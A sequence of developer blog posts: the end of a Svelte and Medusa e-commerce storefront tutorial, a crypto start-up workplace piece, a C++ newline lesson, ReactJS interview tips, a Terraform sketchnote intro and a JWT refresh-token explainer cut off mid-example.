``` VITE_API_BASE_URL="http://localhost:9000" ``` The `BASE_URL` environment variable is the URL of your Medusa server. ### Create Utility Function In the `src` directory, create a folder with the name `util`. This folder will contain the `sharedload` function for the products. The `sharedload` function, located in this directory, is responsible for retrieving data from an `API` and is designed to be reusable throughout the project where necessary. In the `src/util/shared.js` file, paste the code below: ```javaScript // @ts-nocheck export const getProducts = async () => { try { const productres = await fetch(`${import.meta.env.VITE_API_BASE_URL}/store/products/`); const productdata = await productres.json(); const products = productdata?.products; return { products: products, }; } catch (error) { console.log("Error: " + error); } }; ``` The preceding code exports a `getProducts` function that gets data from an API. A list of products is requested using the fetch API. This results in the API response providing the product list. Finally, the function returns an object with the list of products as a property. Notice how you use the `BASE_URL` defined in the `.env` file. ## Store Components It's now time to create a reusable component to display products. The `Header`, the `Footer,` and the `Products` all fall under this section. Each of these components will appear on a different page of your storefront. ### Components Directory In the `src` directory, create a folder with the name `components`. It is the directory that will contain all the reusable components for the products. ### Navbar Component In the `src` directory, create the file `src/components/Navbar.svelte` and add the following code: ```javaScript <script> export let productId; import Icon from "svelte-icons-pack/Icon.svelte"; import AiOutlineShoppingCart from "svelte-icons-pack/ai/AiOutlineShoppingCart"; </script> <div> <div class="fixed z-50 bg-white topNav w-full top-0 p-3 md:bg-opacity-0"> <div class="max-w-6xl relative flex mx-auto flex-col md:flex-row"> <a href="#/" class="md:hidden absolute top-1 right-14"> <div class="relative"> <div class="relative"> <Icon src="{AiOutlineShoppingCart}" /> {#if productId?.length >= 1} <div class="absolute px-1 bg-red-400 -top-1 -right-1 rounded-full border-2 border-white text-white" id="cart" style="font-size: 10px" > {productId?.length} </div> {/if} </div> </div> </a> <div class="flex-grow font-bold text-lg"> <a href="/"> <span>Best Store</span> </a> </div> <div class="menu hidden md:flex flex-col md:flex-row mt-5 md:mt-0 gap-16"> <div class="flex flex-col md:flex-row gap-12 capitalize"> <div class="text-red-400 font-bold border-b border-red-400"> <a href="/"> home</a> </div> <div class="text-red-400 font-bold border-b border-red-400"> <a href="/products">products</a> </div> </div> <div class="flex gap-12"> <a href="#/" class="hidden md:block"> <div class="relative"> <Icon src="{AiOutlineShoppingCart}" /> {#if productId?.length >= 1} <div class="absolute px-1 bg-red-400 -top-1 -right-1 rounded-full border-2 border-white text-white" id="cart" style="font-size: 10px" > {productId?.length} </div> {/if} </div> </a> </div> </div> </div> </div> </div> ``` The code above is the head section component that renders a navigation bar at the top of the page. Home, products, and a shopping cart icon are all displayed in the navigation bar. If the shopping cart has ordered items, a badge will appear on the icon showing the number of items in the cart. The navigation bar is hidden on small screens and appears as a dropdown menu on larger screens. The component also includes logic for handling key presses and clicks on the links and the shopping cart icon. ### Footer Component In the `src` directory, create the file `src/components/Footer.svelte` and add the following code: ```javaScript <div> <div> <div class="bg-red-400 py-32 PX-4"> <div class="max-w-6xl gap-6 mx-auto grid grid-cols-1 md:grid-cols-9"> <div class="md:col-span-3 py-3 space-y-4"> <div class="text-2xl font-bold text-gray-100">Best Store</div> <div class="text-gray-300 w-60 pr-0"> At best store, we offer top-quality Hoddies, Joggers, Shorts and a variety of other items. We only sell the best grade of products. </div> </div> <div class="md:col-span-2 py-3 space-y-4"> <div class="text-2xl font-bold text-gray-100">Information</div> <div class="text-gray-300 w-60 space-y-2 pr-0"> <div class="">About Us</div> <div class="">Career</div> </div> </div> <div class="md:col-span-2 py-3 space-y-4"> <div class="text-2xl font-bold text-gray-100">Our Services</div> <div class="text-gray-300 w-60 space-y-2 pr-0"> <div class="">Clothing</div> <div class="">Fashion</div> <div class="">Branding</div> <div class="">Consultation</div> </div> </div> <div class="md:col-span-2 py-3 space-y-4"> <div class="text-2xl font-bold text-gray-100">Contact Us</div> <div class="text-gray-300 w-60 space-y-2 pr-0"> <div class="">+234 070-000-000</div> <div class="">care@best.com</div> <div class="">Terms & Privacy</div> </div> </div> </div> </div> </div> </div> ``` The code above is the bottom section component that renders a footer at the bottom of the page. The footer contains information about the Svelte store, its services, and its contact details. The footer will be used later. ## Store Pages Now, you have to create pages for your Svelte ecommerce storefront. Upon creating a new project in Svelte, it comes with some default files, including [+page.svelt](https://kit.svelte.dev/docs/routing#page-page-svelte) and [+page.js](https://kit.svelte.dev/docs/routing#page-page-js) ### +page.svelte A `+page.svelte` component defines a page of your application. By default, pages are rendered both on the server ([SSR](https://kit.svelte.dev/docs/glossary#ssr)) for the initial request and in the browser ([CSR](https://kit.svelte.dev/docs/glossary#csr-and-spa)) for subsequent navigation. ### +page.js Often, a page must load some data before it can be rendered. For this, we add a `+page.js` (or `+page.ts,` if you're TypeScript-inclined) module that exports a load function: In the `src/routes` directory, replace the content in the files `src/routes/+page.svelte` with the content below. ### Homepage In the `src/routes/+page.svelte` file, replace its content with this: ```javaScript <script> // @ts-nocheck import Footer from "../components/Footer.svelte"; import "../app.css"; import Navbar from "../components/Navbar.svelte"; import { writable, derived } from "svelte/store"; // export let data; import {getProducts} from '../util/shared'; let products; const productData = async () => { const data = await getProducts(); products = data; console.log(products, 'products') } $: productData() </script> <div> <Navbar /> <div class="mt-40"> <div class="flex"> <div class="flex-grow text-4xl font-extrabold text-center"> Best Qualities You Can Trust </div> </div> <div class="flex"> <div class="flex-grow text-4xl mt-12 font-extrabold text-center"> <a href="/products" class="bg-red-400 hover:bg-red-700 text-white font-bold py-2 px-4 rounded " >Products</a > </div> </div> <div class="max-w-12xl mx-auto h-full flex flex-wrap justify-center py-28 gap-10" > {#if products} {#each products?.products as product, i} <div class=""> <div class="rounded-lg shadow-lg bg-white max-w-sm" > <a href={`/products/${product.id}`} data-mdb-ripple="true" data-sveltekit-prefetch data-mdb-ripple-color="light" > <img class="rounded-t-lg" src={product.thumbnail} alt="" /> </a> <div class="bg-red-400 py-8 relative font-bold text-gray-100 text-xl w-full flex flex-col justify-center px-6" > <div class="">{product.title}</div> <div class=""> &euro; {product.variants[0].prices[0].amount / 100} </div> </div> </div> </div> {/each} {/if} </div> </div> <Footer /> </div> ``` The code above is the homepage of the Svelte ecommerce store. A list of products is displayed. A navigation bar appears at the top of the page, followed by a product details section and a footer at the bottom. ### Product Page First, create a "products" folder within the `"src/routes"` directory, then create two new files, `"+page.svelte"` and `"+page.js"` within the folder. Add the following code to the `src/routes/products/+page. Svelte` file: ```javaScript <script> // @ts-nocheck import Navbar from "../../components/Navbar.svelte"; // @ts-nocheck import "../../app.css"; import { getProducts } from "../../util/shared"; let products; const productData = async () => { const data = await getProducts(); products = data; console.log(products, 'products') } $: productData() </script> <Navbar /> <div class="mt-40"> <div class="flex"> <div class="flex-grow text-4xl font-extrabold text-center"> Best Qualities You Can Trust </div> </div> <div class="max-w-12xl mx-auto h-full flex flex-wrap justify-center py-28 gap-10" > {#each products?.products as product, i} <div class=""> <div class="rounded-lg shadow-lg bg-white max-w-sm" > <a href={`/products/${product?.id}`} data-mdb-ripple="true" data-sveltekit-prefetch data-mdb-ripple-color="light" > <img class="rounded-t-lg" src={product?.thumbnail} alt="" /> </a> <div class="bg-red-400 py-8 relative font-bold text-gray-100 text-xl w-full flex flex-col justify-center px-6" > <div class="">{product?.title}</div> <div class=""> &euro; {product?.variants[0]?.prices[0]?.amount / 100} </div> </div> </div> </div> {/each} </div> </div> ``` The previous code displays a grid of product cards. It consists of a navigation bar at the top and a grid of product cards below. Each product card includes an image, a title, and a price. The component also includes logic for handling clicks on the product cards and taking the user to a single product page. The component uses the`getProducts` function to get the list of products, which it then displays in the grid using **`each`** block. Each block iterates over the list of products and creates a product card for each. ### Single Product Page Create a new `[id]` folder in the `src/routes/products` directory with two files `src/routes/products/[id]/+page.js` and `src/routes/products/[id]/+svelte.svelte` `src/routes/products/[id]` folder creates a route with a *parameter*, `id`, that can be used to load data dynamically when a user requests a page like `[/products/prod_01GN6666V4R3KWPPTJ0GMD6T](http://localhost:8000/singlepage/prod_01GN6666V4R3KWPPTJ0GMD6TD4)` In the `src/routes/products/[id]/+page.js` directory, add the following code: ```javaScript /* eslint-disable no-unused-vars */ // @ts-ignore export const load = async ({ fetch, params }) => { return { params }; } ``` > This code defines an async function called **`load`** that exports a single object containing the **`params`** object. *The load function receives an object with two properties: fetch and params.* > In the `src/routes/products/[id]/+page.svelte` file, add the following code: ```javaScript <script> // @ts-nocheck import "../../../app.css"; import "../../../components/Navbar.svelte"; import axios from "axios"; import Navbar from "../../../components/Navbar.svelte"; import Swal from 'sweetalert2' export let data; let responseData = []; let currentImg = 0; let currentSize = "S"; let currentPrice = ""; let variantsId = 0; let cartId = ""; let variantTitle; let products = []; import { writable, derived } from "svelte/store"; import {browser} from '$app/environment' export const cartDetails = writable({ cart_id: '', }) if (!cartId) { axios({ method: 'post', url: `${import.meta.env.VITE_API_BASE_URL}/store/carts`, withCredentials: true }) .then(response => { console.log(response.data.cart.id, 'response.data.cart.id') localStorage.setItem("cart_id", response.data.cart.id) }) .catch(error => { console.log(error); }); } const fetchData = async () => { cartId = browser && localStorage.getItem('cart_id') axios .get(`${import.meta.env.VITE_API_BASE_URL}/store/products/${data.params.id}`).then((response) => { if (response.data.product) { responseData = response?.data } }) .catch((err) => { console.log("error", err) }); }; $: fetchData(); </script> <div class="mt-40"> <main> <Navbar productId={JSON.parse( browser && localStorage.getItem('cart'))} /> <div class="py-20 px-4"> <div class="text-white max-w-6xl mx-auto py-2"> <div class="grid md:grid-cols-2 gap-20 grid-cols-1"> <div> <div class="relative"> <div> <div class="relative"> <img src={responseData.product?.images[currentImg]?.url} alt="no image_" /> <div class="absolute overflow-x-scroll w-full bottom-0 right-0 p-4 flex flex-nowrap gap-4"> <div class="flex w-full flex-nowrap gap-4 rounded-lg"> {#if responseData?.product?.images} {#each responseData.product.images as img, i} <div key={i} on:click={() => (currentImg = i)} title={responseData.product.images[i].url} class="w-16 h-24 flex-none" on:keydown={() => (currentImg = i)} > <div class="h-full w-full rounded-lg cursor-pointer shadow-lg border overflow-hidden" > <img src={responseData.product.images[i].url} alt="" class="h-full w-full" /> </div> </div> {/each} {/if} </div> </div> </div> </div> </div> </div> <div> <div class="flex md:flex-col flex-col space-y-7 justify-center"> <div class="text-black space-y-3"> <h2 class="font-bold text-xl text-black">{responseData?.product?.title}</h2> <p class="text-sm">{responseData?.product?.description}</p> </div> <div class="space-y-3"> <div class="font-bold text-md text-black">Select Size</div> <div class="flex flex-row flex-wrap gap-4"> {#if responseData?.product?.variants} {#each responseData?.product?.variants as variant, i} { variantTitle = variant.title.split("/")[0]} <div> <div on:click={() => { currentSize = variant?.title?.split("/")[0] currentPrice = variant?.prices[0]?.amount[i] variantsId = variant.id }} on:keydown={() => { currentSize = variant?.title?.split("/")[0] currentPrice = variant?.prices[0]?.amount[i] variantsId = variant.id }} class={currentSize === variant?.title?.split("/")[0] ? 'border-purple-300 bg-red-400' : 'border-gray-100'} contenteditable={false} > <span class="text-black text-sm">{variant?.title?.split("/")[0]}</span> </div> </div> {/each} {/if} </div> </div> <div class="space-y-3"> <div class="font-bold text-md text-black">Price</div> {#if responseData?.product?.variants} <div class="text-black">${responseData?.product?.variants.map(x => x.prices[0]?.amount)[0]}</div> {/if} </div> </div> </div> </div> </div> </div> </main> </div> ``` The code above fetches the product information and displays it on the page. ## Add to cart Implementation The purpose of this section is to explain how the add-to-cart feature works. In the `src/routes/products/[id]/+page.svelte` file, add the `addProduct` function below the `fetchData` function and the button to add the product below the Price label. ```javaScript <script> // ... const addProduct = async (data) => { let cartId = browser && localStorage.cart_id; try { const response = await axios.post( `${import.meta.env.VITE_API_BASE_URL}/store/carts/${localStorage.cart_id}/line-items`, { variant_id: data, quantity: 1, metadata: { size: currentSize, }, } ); products = [response.data?.cart]; browser && localStorage.setItem("cart", JSON.stringify([products])); if (response?.data?.cart) { if (response?.status === 200) { Swal.fire({ icon: "success", title: "Item Added to Cart Successfully", showConfirmButton: true, }).then((res) => { if (res.isConfirmed) { window.location.reload(); } }); } } } catch (error) { console.log(error); } }; // ... </script> <div class="mt-40"> <main> <!-- ... --> <button class="bg-red-400 text-white font-bold py-2 px-4 rounded-full" on:click={() => { if (variantsId === 0) { alert("Please select a size before adding to cart."); } else { addProduct(variantsId); } }} > Add to Cart </button> <!-- ... --> </main> </div> ``` The `addProduct` function is used to add the product to the cart using the selected `variant ID`. The code then displays the product data using Svelte bindings and event listeners. ## Testing the Svelte Ecommerce Follow the steps below to test your Svelte ecommerce: Navigate into your Medusa server and run: ```bash medusa develop ``` Navigate into your `svelte-eCommerce` directory and run: ```bash npm run dev ``` Your Svelte ecommerce storefront is now running at `localhost:8000` To view your homepage, visit [localhost:8000](http://localhost:8000) in your browser. You should see the homepage. ![https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o4u1ruso7l1s8pghxlx2.png](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o4u1ruso7l1s8pghxlx2.png) You can view the details of any of the products by clicking on them. ![https://dev-to-uploads.s3.amazonaws.com/uploads/articles/agchb2ddjd2h2xpa8rgx.png](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/agchb2ddjd2h2xpa8rgx.png) Add the product to your cart by clicking the **Add to Cart** button. ![Add to cart description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tlscjlb99nps4j4c7n81.png) ## Conclusion This tutorial demonstrates how to connect a Svelte ecommerce application to a Medusa server and implement an "Add to Cart" feature that allows customers to add items to their cart and manage its content. Other features that can be added to the application with the help of the Medusa server include a [checkout flow](https://docs.medusajs.com/advanced/storefront/how-to-implement-checkout-flow/) for placing orders and integration with a payment provider such as [Stripe](https://docs.medusajs.com/add-plugins/stripe). The possibilities are endless when it comes to running an ecommerce store with Medusa, including but not limited to; - Integrate a payment provider such as [PayPal](https://docs.medusajs.com/add-plugins/paypal) - Add a product search engine to your storefront using [Meilisearch](https://docs.medusajs.com/add-plugins/meilisearch) - Authenticate Customer using the [Authenticate Customer endpoint](https://docs.medusajs.com/api/store/#tag/Auth) that allows the authorization of customers and manages their sessions. - Additionally, check out how to use the Authenticate Customer endpoint in this [tutorial](https://medusajs.com/blog/next.js-ecommerce-store). > Should you have any issues or questions related to Medusa, then feel free to reach out to the Medusa team via [Discord](https://discord.com/invite/F87eGuwkTp). >
femi_akinyemi
1,373,747
How’s life working for a blockchain startup
Previosuly, we released an article stating the benefits and challenges of working in a crypto...
0
2023-02-21T09:48:07
https://dev.to/join_hyve/hows-life-working-for-a-blockchain-startup-19p5
webdev, beginners, programming, startup
Previosuly, we released an article stating the benefits and challenges of working in a **crypto start-up.** Today we decided to expand the topic and detail the **experience** of working in a fast-paced, engaging environment, namely Below, we are going to dive down into how is life working in a Crypto start-up. Before that, it's worth establishing from the beginning a short definition of a Crypto start-up. ### What is a Crypto start-up? People usually refer to a newly formed company as a start-up, which usually has positive momentum in growth, based on the usability and demand of the product it offers. In the Crypto world, things are, at their base, no different. A Crypto startup is a company built on the blockchain which offers core products, based on blockchain technology. These core products can range from decentralized alternatives to traditional finance, market places where users can exchange digital assets as well as play2earn videogames. Nevertheless, the entrepreneurial environment is a lot harsher in the blockchain space, due to the** increased competition **and the decentralized nature of the industry. On the other hand, collaboration is a lot tighter within the crypto space, since entrepreneurs have a common goal in mind: **mainstream adoption of their projects.** What to expect when working in a crypto start-up? We can refer to the first aspect of schedule flexibility. It is most likely that the standard 9 to 5 office schedule won't apply to you most of the time and that will help you reach a better life-work balance. However, there is a hidden side of the coin. As for a consultancy company, for example, there will be periods of low activity and periods of peak activity in which you should expect **tight deadlines** or **heavy work** for a sustained period of time. So, the periods with high schedule flexibility may only be the calm before the storm. That being said, you should be prepared for periods of **extended work outside of the normal working hours**. This is commonplace in every start-up, but more so in blockchain, where things are changing rapidly at a massive Moving onto the technical side of a Crypto start-up, it is fair to say that you will have the possibility to **explore capabilities and innovate where possible. **You will likely be expected to take the initiative and go above and beyond in trying to find that niche product that can boost the start-up you're working for. There are a lot of new exciting Crypto projects that promise to bring the ability for you to achieve new peaks in your business or provide new utility from the start. Thus, the chances are that if you work for a Crypto start-up, you will likely be involved in developing a product or a feature that can disrupt the way we look at the internet today. That leads us to discuss the uncertain and volatile nature of the Crypto world. Naturally, this would be felt in your day-by-day work in a Crypto start-up. As there are no general instructions manual for how a start-up should develop, you should be aware that you will be looking to solve many unknowns and there is thin ice between making it right or failing. On top of that, you will be likely looking at combining the technology assets that you want to create in Blockchain with the financial aspects of your project. This can prove to be tricky, as you will constantly need to check your work against budget, profit margin, and different regulations, depending on the region or market that you want to break in. > As a rule of thumb, the more worldwide you will aim to go, the more difficult it will be to match the technology and financial aspects of your projects. ### Don't forget to enjoy it! Looking at the previous points, there is one ability that stands out for you to succeed in a Crypto start-up and that is the ability to adapt. There are many unknowns and points in which you will have to rely on your pure instinct to make the best choice going forward. Last but not least, working in a Crypto start-up should be exciting and fun. Even when the situations are rough, you should never forget to enjoy the journey you embarked on and make the most of the experiences you are facing and the people you are meeting. The Crypto market is the fastest growing sector at the moment and for sure, you will feel this in a Crypto start-up. For this reason, working in such a company may be the most complete professional experience, you might ever have. ### How’s life at HYVE? You might have noticed our increasing presence on social media, with regular posts on TikTok and Instagram. We at HYVE like to give out sneak peeks of our daily activity, courtesy of our marketing department. In spite of the joking and fun atmosphere, there are lots of periods of intense work, especially before product launches - we currently have something under wraps which involves many of our departments, namely Graphic Design, Marketing, and Development. However, these intense periods bring us closer together and create lasting personal and professional bonds. A good example of a concerted and constant effort has been the rebranding process undertaken this year. Starting from the website redesign and moving onto the platform upgrade, we have been constantly upgrading user experience, with our departments closely coordinating with one another to deliver everything on time. Nevertheless, there is lots of outside coordination to be performed, with many external partners involved in our launches and promotion. Working at HYVE requires you to be a very adaptable individual and most importantly, to be willing to always learn new skills. We like to pride ourselves in our open and fostering culture, based on the relationships built in person due to our in-person policy, but some companies prefer remote work. If you would be interested in trying out a job within a crypto start-up, you should explore the listings on our platform. Lately, many companies have posted job listings, with the latest being SKChain, a leading blockchain advisory firm - make sure you regularly check out our platform for any openings! 🐝 Want to learn more about HYVE? 🐦 Follow us on [Twitter](https://twitter.com/join_hyve). 🗨️ Join our [Telegram Group](https://t.me/hyveworks).
join_hyve
1,373,751
C++ Yangi qator.
Assalamu aleykum xurmatli dasturchi bugungi o'rganadigon narsamiz C++ dasturlash tilida yangi qator...
0
2023-02-21T09:55:42
https://dev.to/islomali99/c-yangi-qator-l46
beginners, programming, tutorial, cpp
Assalamu aleykum xurmatli dasturchi bugungi o'rganadigon narsamiz C++ dasturlash tilida yangi qator tashlashni korib chiqamiz. Yangi qator kiritish uchun "\n" belgisidan foydalanishingiz mumkin: **Misol uchun::** ``` #include <iostream> using namespace std; int main() { cout << "Men C++ o'rganishni boshladim\n"; cout << "Judayam qiziqarli va o'rganishaga oson"; return 0; } ``` Maslahat: Bir-biridan keyin ikkita \n belgi boʻsh qator hosil qiladi: **Misol uchun::** ``` #include <iostream> using namespace std; int main() { cout << "Sizga maslahatim dasturlashni C yoki C++ dan boshlang\n\n"; cout << "Qani kettik"; return 0; } ``` Yangi qatorni kiritishning yana bir yo'li "endl" maxsus buyurug'idan foydalanamiz: **Misol uchun::** ``` #include <iostream> using namespace std; int main() { cout << "I am learning C++" << endl; cout << "Salom Dunyo"; return 0; } ``` Satrlarni kesish uchun `"\n"` va `"endl"` ham ishlatiladi. Biroq, `"\n"` eng ko'p ishlatiladi. Lekin `\n` aynan nima? Yangi qator belgisi (\n) qochish ketma-ketligi deb ataladi va u kursorni o'z o'rnini ekrandagi keyingi qatorning boshiga o'zgartirishga majbur qiladi. Buning natijasida yangi qator paydo bo'ladi. Boshqa haqiqiy qochish ketma-ketliklariga misollar: ![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4eh3iwl1rnd9ip0mszhy.png)
islomali99
1,373,764
Mastering the ReactJS Interview: Tips and Tricks to Impress and Hire Top React Developers
ReactJS has become one of the most popular JavaScript libraries used for building interactive user...
0
2023-02-21T10:16:23
https://dev.to/crossskatee1/mastering-the-reactjs-interview-tips-and-tricks-to-impress-and-hire-top-react-developers-2np2
react, devops, career, webdev
ReactJS has become one of the most popular JavaScript libraries used for building interactive user interfaces. Its popularity has created a high demand for ReactJS developers in the job market. To land a job as a ReactJS developer, you must have a solid understanding of the library and be able to demonstrate your skills during the interview process. The ReactJS library allows developers to create complex web applications with ease. It uses a component-based architecture, allowing developers to create reusable and modular components. ReactJS also employs a virtual DOM, which allows for efficient updates and rendering of components. As a ReactJS developer, it is important to have a deep understanding of the library and be able to implement it in real-world scenarios. This includes knowledge of state management, lifecycle methods, and JSX syntax. Being proficient in ReactJS can open up a world of opportunities in the job market. In this article, we will discuss tips and tricks to help you ace a ReactJS interview. We will cover topics such as understanding the basics of ReactJS, practicing coding, preparing for technical questions, showcasing your portfolio, and staying up to date with the latest trends. With these tips, you can increase your chances of landing a job as a ReactJS developer and take your career to the next level. ## Practice Coding: One of the best ways to prepare for a ReactJS interview is to practice coding ReactJS projects. By writing and understanding ReactJS code, you can become more comfortable with the library and the concepts it employs. This will help you during the interview when you are asked to write code on the spot. To practice coding ReactJS, you can start by building small applications that use the library. This will allow you to become more familiar with the syntax and the structure of ReactJS code. As you become more comfortable, you can move on to more complex projects. Another way to practice coding ReactJS is to work on coding challenges on websites like **[HackerRank](https://www.hackerrank.com/skills-verification/react_basic)** or LeetCode. These websites offer a variety of coding challenges that test your skills and understanding of ReactJS. By completing these challenges, you can further hone your coding skills and prepare for the types of questions that may come up during a ReactJS interview. It is important to note that during a ReactJS interview, the interviewer may be looking for more than just correct syntax. They may also be looking at how you structure your code, how you approach problem-solving, and how you handle errors. So, while practicing coding is important, it is equally important to pay attention to these other aspects of coding. In conclusion, practicing coding ReactJS projects and working on coding challenges can be an effective way to prepare for a ReactJS interview. By doing so, you can become more comfortable with the library and the concepts it employs, which will help you during the interview process. Remember to also pay attention to how you structure your code, how you approach problem-solving, and how you handle errors during your practice sessions. ## Prepare for Technical Questions: To ace a ReactJS interview, it is important to be prepared for technical questions related to the library. The interviewer may ask questions to assess your knowledge and understanding of ReactJS. Common questions include: 1. What is the difference between ReactJS and Angular? 2. How would you implement a search bar component in ReactJS? 3. What is the purpose of the componentDidMount method? It is important to have a deep understanding of ReactJS concepts and be able to answer these types of questions confidently. To prepare for technical questions, review the ReactJS documentation and other resources such as blogs, tutorials, and videos. This will help you to gain a better understanding of the library and its concepts. It is also important to practice answering technical questions before the interview. This can be done by practicing with a friend, or by recording yourself answering questions and reviewing your responses. This will help you to become more comfortable with the types of questions that may be asked during the interview. In addition to reviewing technical concepts, it is also important to be able to explain your thought process and how you approach problem-solving. The interviewer may be more interested in how you think and approach problems, rather than whether or not you know the correct answer. So, make sure to explain your thought process and show your problem-solving skills during the interview. In conclusion, being prepared for technical questions related to ReactJS is crucial to acing a ReactJS interview. Review the ReactJS documentation and other resources, practice answering questions, and be able to explain your thought process and problem-solving skills. With these tips, you can confidently approach technical questions during a ReactJS interview. ![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/t904zybcxv2tyjfob8p7.jpg) ## Showcase Your Portfolio: During a ReactJS interview, it is important to showcase your skills and experience in the library. One effective way to do this is by having a portfolio of ReactJS projects. A portfolio can help demonstrate your abilities and experience to the interviewer, and can help you stand out from other candidates. Your portfolio should showcase your best work and highlight your skills in ReactJS. It can include projects that you have worked on professionally or projects that you have completed on your own. The projects should demonstrate your understanding of the library and how it can be used to build complex web applications. When showcasing your portfolio during the interview, make sure to explain your thought process and approach to each project. This can help the interviewer understand your problem-solving skills and how you approach building ReactJS applications. It is also important to highlight any unique or challenging aspects of each project. This can help show your ability to work through difficult problems and demonstrate your experience with ReactJS. If you do not have any professional experience with ReactJS, you can still create a portfolio by completing online courses or coding challenges. This can show your commitment to learning and your ability to apply new concepts to real-world projects. In conclusion, having a portfolio of ReactJS projects can be an effective way to showcase your skills and experience during a ReactJS interview. Make sure to include your best work, explain your thought process, and highlight any unique or challenging aspects of each project. With a strong portfolio, you can stand out from other candidates and demonstrate your abilities in ReactJS. ## Stay up to Date with the Latest Trends: ReactJS is a constantly evolving library, and it is important to stay up to date with the latest trends and updates. This can help you stay relevant in the industry and demonstrate your commitment to learning and staying current. To stay up to date with the latest trends, it is important to follow the ReactJS documentation and keep up with the latest blogs and articles related to ReactJS. The ReactJS documentation is a great resource for learning about new features and updates to the library. The documentation is regularly updated, and it is important to review it frequently to ensure that you are using the latest features and best practices. Blogs and articles related to ReactJS can also be a valuable resource for staying up to date with the latest trends. These resources can provide insights into new features, best practices, and real-world use cases for ReactJS. Following industry experts and thought leaders on social media platforms such as Twitter can also provide valuable insights and keep you up to date with the latest trends in the industry. It is also important to attend conferences and meetups related to ReactJS. These events can provide opportunities to network with other professionals in the industry and learn about the latest trends and updates from industry experts. In conclusion, staying up to date with the latest trends and updates in ReactJS is crucial to demonstrating your commitment to learning and staying current in the industry. Follow the ReactJS documentation, keep up with the latest blogs and articles, and attend conferences and meetups related to ReactJS. With these tips, you can stay up to date with the latest trends and stay relevant in the industry. ## Conclusion: In conclusion, acing a ReactJS interview requires a combination of technical skills, practical experience, and soft skills. To prepare for a ReactJS interview, you should practice coding, prepare for technical questions, showcase your portfolio, stay up to date with the latest trends, and demonstrate your ability to work well with others. By following these tips, you can demonstrate your expertise in ReactJS and stand out from other candidates during the interview process. Remember to highlight your experience and accomplishments, be confident and articulate in your answers, and demonstrate a strong understanding of the library and its best practices. For companies looking to **[hire react developers](https://www.cronj.com/hire-react-js-developers.html)**, these tips can help ensure that you are hiring the best talent for your team. Look for candidates who demonstrate technical proficiency, practical experience, and strong soft skills. A React developer with these attributes can help your team build scalable and reliable web applications that meet your business needs. In conclusion, hiring a React developer requires careful consideration and attention to detail. By following the tips in this article, you can find the best candidates for your team and ensure that your projects are completed successfully.
crossskatee1
1,373,838
Understanding Terraform: part 1 – What is Terraform?
Serie of sketchnotes about Terraform. Explaining in a visual way Terraform principles.
21,956
2023-02-22T07:35:07
https://dev.to/aurelievache/understanding-terraform-part-1-what-is-terraform-55ie
terraform, devops, beginners, iac
--- title: Understanding Terraform: part 1 – What is Terraform? published: true description: Serie of sketchnotes about Terraform. Explaining in a visual way Terraform principles. tags: Terraform, DevOps, beginners, IaC series: Understanding Terraform in sketchnotes cover_image: https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pbac4oqhjwm8nbewhi9d.jpg --- Understanding Terraform can be difficult or time-consuming. In order to spread knowledge about Cloud technologies and Infrastructure as Code I started to create sketchnotes about Terraform. I think it could be a good way, more visual, to explain Terraform (and other technologies like Kubernetes, Docker and Istio). Terraform is an Infrastructure as Code tool, it began a defacto standard but do you know really the tool? :-) We start the serie of sketchnotes with a sketchnote about What is Terraform: ![What is Terraform](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pbac4oqhjwm8nbewhi9d.jpg) ![What is Terraform](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/epxedkg3kuowb0e18ebi.jpg) ![What is Terraform](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/snh77yaej5woom1jb5dz.jpg) As usual, if you like theses sketchnotes, you can follow me, and tell me what do you think. I will publish others sketchs shortly :-). I'll try to write and publish other sketchnotes about Terraform shortly. If Docker interests you, I published a book in a paperbook version on Amazon: [Understanding Docker in a visual way](https://www.amazon.fr/Understanding-Docker-visual-way-sketchnotes/dp/B0BT6ZXR1W/ref=sr_1_1) and also in a PDF/ebook version on [GumRoad](https://gumroad.com/aurelievache#YTLzM). If Kubernetes interest you too, the book [Understanding Kubernetes in a visual way](https://www.amazon.fr/dp/B0BB619188/ref=cm_cr_arp_d_product_top?ie=UTF8) is available also.
aurelievache
1,373,865
Refresh Token
In JWT (JSON Web Tokens) authentication, refresh tokens are used to obtain new access tokens. Access...
0
2023-02-21T12:03:43
https://dev.to/yogini16/refresh-token-2p67
refreshtoken, jwt
In JWT (JSON Web Tokens) authentication, **refresh tokens are used to obtain new access tokens**. Access tokens typically have a limited lifespan, usually ranging from a few minutes to a few hours. When an access token expires, the user would need to re-authenticate to obtain a new one. However, this can be cumbersome and disruptive to the user experience. To avoid this, JWT provides refresh tokens that can be used to obtain a new access token without the user having to re-authenticate. The refresh token is a long-lived token that can be used to request new access tokens after the original access token expires. Here's how it typically works: The user authenticates with their username and password, and the server returns both an access token and a refresh token. The access token is used to make authenticated requests to protected resources. When the access token expires, the client sends a request to the server with the refresh token to request a new access token. The server checks the refresh token to ensure it is valid and not expired. If it is valid, the server returns a new access token and a new refresh token. If the refresh token is invalid, the server responds with an error. It's important to note that refresh tokens should be stored securely, as they have the potential to grant access to protected resources for a long period of time. Best practices for securely storing refresh tokens include encrypting them and using secure storage mechanisms such as secure cookies or local storage. ##How does it works?? Let's say you're building a web application that requires users to authenticate before accessing protected resources. You're using JWT for authentication, and you've set the access token lifespan to 15 minutes. After 15 minutes, the access token expires, and the user needs to re-authenticate to obtain a new one. To avoid this, you decide to use refresh tokens. Here's how refresh tokens work in this scenario: **1. User authenticates**: The user provides their username and password to the server to authenticate. If the authentication is successful, the server generates an access token and a refresh token and sends them back to the client. ```json { "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...", "refresh_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." } ``` **2. Access token is used**: The client includes the access token in the Authorization header of every authenticated request to the server. The server verifies the access token and grants access to protected resources if the token is valid. ```json GET /api/protected HTTP/1.1 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... ``` **3. Access token expires**: After 15 minutes, the access token expires, and the server responds with a 401 Unauthorized error if the client tries to use it again. ```json HTTP/1.1 401 Unauthorized { "error": "Access token has expired" } ``` **4.Refresh token is used**: To obtain a new access token, the client sends a request to the server with the refresh token in the body of the request. The server verifies the refresh token and generates a new access token if the token is valid. ```json POST 